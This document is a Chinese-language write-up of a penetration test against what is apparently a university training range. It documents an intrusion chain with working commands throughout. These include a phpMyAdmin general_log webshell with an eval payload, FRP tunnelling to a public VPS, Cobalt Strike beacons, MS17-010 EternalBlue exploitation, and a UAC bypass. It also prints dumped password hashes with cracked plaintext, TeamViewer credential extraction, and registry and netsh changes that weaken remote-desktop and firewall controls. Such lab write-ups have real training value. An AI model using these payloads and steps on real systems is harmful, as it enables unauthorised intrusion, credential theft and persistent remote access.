本文作者:久久久久久久、欧根亲王号、森浩、3had0w(贝塔安全实验室-核心成员)
0x00 前言
这次应我们贝塔团队成员“蜗牛”老哥的邀请与团队成员共同参与了这次某大学渗透测试实战靶场打靶,正好最近闲着没事就当拿来练练手了。根据攻击A组群里给的两份Word文档简单做了一张图便于自己在渗透测试过程中查看,Kali攻击机的IP地址信息如下。
0x01 第一阶段(192.168.2.244)
(1) 根据攻击说明中的提示可以根据Web攻击或系统漏洞拿到这台机器的权限。首先我们用Nmap和Nikto工具对192.168.2.244进行扫描发现有80端口,而且还有phpMyAdmin。
(2) 由于我们进入的是靶机内部网络,无法在本地访问192.168.2.244的80端口,所以这时需要先进行内网穿透,然后再访问192.168.2.244的phpMyAdmin进行Getshell,这里我们采用的内网穿透方式为FRP+Proxifier,这次打靶中发现这种方式还是比较稳定的。
靶场Kali执行客户端:nohup ./frpc -c frpc.ini &
[common] server_addr = 156.***.**.194 -(公网VPS) server_port = 1080
[plugin_socks]
type = tcp
remote_port = 8088
plugin = socks5
use_encryption = true
use_compression = true
plugin_user = test
plugin_passwd = test123
公网VPS执行服务端:nohup ./frps -c frps.ini &
[common]
bind_port = 1080
注意事项:
1、结束frp时可以使用ps -aux|grep frp命令列出frp进程信息,然后再用kill命令结束掉frp进程。
2、测试了Ew和Msf下的Socks4发现都不是很不稳定,非常卡且经常掉线,经询问确定里边有流量监控。
3、内网穿透访问Web时建议用Firefox
(3) 通过phpinfo.php文件得到网站绝对路径,用默认账户密码root进入phpMyAdmin后台,并利用general_log成功拿到这个网站的Webshell权限。由于192.168.2.244这台机器可以通外网,我们执行个CobaltStrike木马便于后期的断网机内网穿透。
注:192.168.2.244这台机器上还有很多网站都存在漏洞,不过由于当时时间比较紧迫也就没有都去测试。
show global variables like "%genera%"; set global general_log='on'; SET global general_log_file='C:/phpStudy/PHPTutorial/WWW/cmd.php';
SELECT "<?php z0=str_replace('@set_magic_quotes_runtime(0);','',base64_decode(_POST['z0']));_POST['z0']=base64_encode(z0);@eval($_POST['cmd']);?>";
set global general_log='off';
这里需要注意的是由于目标用的PHP7.0.12,可能会导致很多大马和一句话木马都用不了,或在中国菜刀连接时出现报错,因为PHP7中删除了set_magic_quotes_runtime函数,而中国菜刀传输的POST数据包中又有set_magic_quotes_runtime,不过我们可以通过修改一句话木马或中国菜刀的POST数据包来解决这个问题。可参考一下这篇文章:https://www.freebuf.com/articles/web/197013.html。
pass=@eval(base64_decode(_POST[z0]));&z0=@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;D=dirname(_SERVER["SCRIPT_FILENAME"]);if(D=="")D=dirname(_SERVER["PATH_TRANSLATED"]);R="{D}\t";if(substr(D,0,1)!="/"){foreach(range("A","Z") as L)if(is_dir("{L}:"))R.="{L}:";}R.="\t";u=(function_exists('posix_getegid'))?@posix_getpwuid(@posix_geteuid()):'';usr=(u)?u['name']:@get_current_user();R.=php_uname();R.="({usr})";print R;;echo("|<-");die();
0x02 第二阶段(192.168.3.X段)
(1) 利用Meterpreter下get_local_subnets、autoroute脚本将当前会话(192.168.2.244)与192.168.3.x段建立一个虚拟路由表实现对该段内机器进行扫描,也可以用post/multi/manage/autoroute模块。
meterpreter > run get_local_subnets
meterpreter > run autoroute -s 192.168.3.0/255.255.255.0
注:也可以在我们公网VPS CobaltStrike上反弹回来的192.168.2.244中来开启一个Socks4代理,然后在他们Kali攻击机上配置好proxychains,并用proxychains启动Metasploit即可对192.168.3.x段内机器进行扫描测试。
auxiliary/scanner/smb/smb_ms17_010:
[+] 192.168.3.9:445 - Host is likely VULNERABLE to MS17-010! - Windows 10 Pro 10240 x64 (64-bit)
[+] 192.168.3.16:445 - Host is likely VULNERABLE to MS17-010! - Windows 10 Pro 10240 x64 (64-bit)
[+] 192.168.3.20:445 - Host is likely VULNERABLE to MS17-010! - Windows 10 Pro 10240 x64 (64-bit)
[+] 192.168.3.23:445 - Host is likely VULNERABLE to MS17-010! - Windows 10 Pro 10240 x64 (64-bit)
[-] 192.168.3.34:445 - An SMB Login Error occurred while connecting to the IPC$ tree.
[+] 192.168.3.43:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Ultimate 7601 Service Pack 1 x64 (64-bit)
(2) 前期测试时我与团队成员“久久久”老哥分别通过ms17_010_eternalblue、ms17_010_command模块成功拿到了192.168.3.43、192.168.3.16两台机器的SYSTEM权限,但因192.168.3.x段里的机器都是断网机无法上线,尝试了CobaltStrike的SMB Beacon、Link Listener以及中继beacon等方法都没能成功上线,不知道是不是我的“姿势”有问题,求教!!!经过测试发现DNS倒是能出网,但是卡的完全显示不出来!!!
msf5 exploit(windows/smb/ms17_010_eternalblue) > set payload windows/x64/meterpreter/bind_tcp
msf5 exploit(windows/smb/ms17_010_eternalblue) > set rhost 192.168.3.43
msf5 exploit(windows/smb/ms17_010_eternalblue) > set lport 4444
msf5 exploit(windows/smb/ms17_010_eternalblue) > exploit
注:后期写这份报告复现时不知道是被大家玩坏了还是他们靶场运维组做了什么防护设置,192.168.3.43、192.168.3.16这两台机器在利用MS17-010漏洞攻击时都报错了,没法再继续攻击。
192.168.3.43哈希值和明文密码:
meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
betasec:1026:aad3b435b51404eeaad3b435b51404ee:2e8649b746f9425839d240a43dece3cf - 3had0w!@#123
user106:1000:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 - [空密码]
(3) 不过还好当时在192.168.3.43机器上创建了一个管理员用户,还可以在192.168.2.244会话上通过portfwd命令来转发192.168.3.43的3389端口来连接远程桌面,而192.168.3.16这台机器的权限注定是已经掉了的。
meterpreter > portfwd add -r 192.168.3.43 -p 3389 -l 1234
注:自建的管理员用户还要绕UAC,默认Administrator用户被禁用,现在用的管理员用户是user106,密码为空,不过这台机器设置了禁止空密码连接远程桌面,但是我们可以用以下注册表命令来解决。
REG add "HKLM\SYSTEM\ControlSet001\Control\Lsa" /v LimitBlankPasswordUse /t REG_DWORD /d 0 /f
(4) 在192.168.2.244会话上建立虚拟路由表后创建个bind_tcp正向载荷得到192.168.3.43断网机会话,然后用exploit/windows/local/bypassuac_eventvwr模块成功绕过这台机器上的Windows UAC得到SYSTEM权限。
msf5 exploit(multi/handler) > use exploit/windows/local/bypassuac_eventvwr
msf5 exploit(windows/local/bypassuac_eventvwr) > set payload windows/meterpreter/bind_tcp
msf5 exploit(windows/local/bypassuac_eventvwr) > set rhost 192.168.3.43
msf5 exploit(windows/local/bypassuac_eventvwr) > set lport 443
msf5 exploit(windows/local/bypassuac_eventvwr) > set session 2
msf5 exploit(windows/local/bypassuac_eventvwr) > exploit
(5) 前边我们已经测试过了CobaltStrike的SMB Beacon、Link Listener以及中继beacon都没有成功,所以想了这么一种临时方法来解决192.168.3.x断网机上线问题。就是将CobaltStrike服务端通过Meterpreter会话上传至192.168.2.244机器,然后在shell命令行执行teamserver_win.bat启动服务端。由于我们先前已经通过Kali攻击机进行内网穿透,可以与192.168.2.244通讯,所以能够在本地直接连接192.168.2.244的CobaltStrike服务端。
也可以通过读取目标机器上的TeamViewer ID和Pass,然后远程连接后再启动CobaltStrike服务端,为什么不直接用Mstsc连接192.168.2.244的3389呢?因为这台机器设置了IP安全策略,阻止了所有IP地址连接,只允许内网部分机器进行远程连接。
注:CobaltStrike服务端必须在交互式shell下才能执行,所以我们要先进入到远程桌面或MSF下执行。
192.168.2.244 TeamViewer路径、ID和密码:
tasklist /svc | findstr "TeamViewer" & sc qc TeamViewer
wmic process where name="TeamViewer.exe" get processid,name,executablepath
TeamViewer ID:1 051 948 915,Pass:y1**85
我们也可以选择用以下几条Netsh ipsec命令添加或删除192.168.2.244机器的IP安全策略来进行绕过。
添加IP安全策略:netsh ipsec static add policy name=阻止3389端口 添加IP筛选器名:netsh ipsec static add filterlist name=放行192.168.3.43 添加IP筛选器:netsh ipsec static add filter filterlist=放行192.168.3.43 srcaddr=192.168.3.43 dstaddr=Me dstport=3389 protocol=TCP 添加筛选器操作:netsh ipsec static add filteraction name=放行 action=permit or block 添加IP安全规则:netsh ipsec static add rule name=放行192.168.3.43 policy=阻止3389端口 filterlist=放行192.168.3.43 filteraction=放行 激活指定安全策略:netsh ipsec static set policy name=阻止3389端口 assign=y or n
导出IP安全策略:netsh ipsec static exportpolicy C:\Windows\debug\WIA\ip.ipsec
导入IP安全策略:netsh ipsec static importpolicy C:\Windows\debug\WIA\ip.ipsec
删除所有安全策略:netsh ipsec static del all
这次测试还发现可以在Kali攻击机用FRP开一个Socks5代理,然后在MSF的192.168.2.244会话中用portfwd命令将3389端口转发出来后即可成功绕过IP安全策略进行远程连接。
注:配置Proxifier时建议使用Kali攻击机的Socks5代理,这样比较稳定。CobaltStrike 192.168.2.244上开启的Socks4代理一时能连,一时不能连,具体原因不明,根据实际情况选择合适方法吧!
192.168.2.244哈希值和明文密码:
beacon> hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:6595b67ca8b2647eecf185cd4984cf9b - Complex921
betasec:1026:aad3b435b51404eeaad3b435b51404ee:2e8649b746f9425839d240a43dece3cf - 3had0w!@#123
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
kenda:1023:aad3b435b51404eeaad3b435b51404ee:6595b67ca8b2647eecf185cd4984cf9b
mysql:1004:aad3b435b51404eeaad3b435b51404ee:6595b67ca8b2647eecf185cd4984cf9b
phpstudy:1003:aad3b435b51404eeaad3b435b51404ee:8b6f467992fd5105d50aebc26400a897
注:192.168.2.244搭建好CobaltStrike服务端后先上线244这台机器,然后可以直接用192.168.2.244来开启一个Socks4代理,在他们Kali攻击机上配置好proxychains来进行测试,最终的流量走向为:
- 192.168.4.221(攻击机)->192.168.2.244(跳板机)->192.168.3.43(目标机)。
注:上线192.168.3.43这台机器时发现个奇怪现象,进入远程桌面用原有管理用户user106执行Payload时不上线,而用自建管理用户betasec以管理员身份执行Payload时又可以正常上线。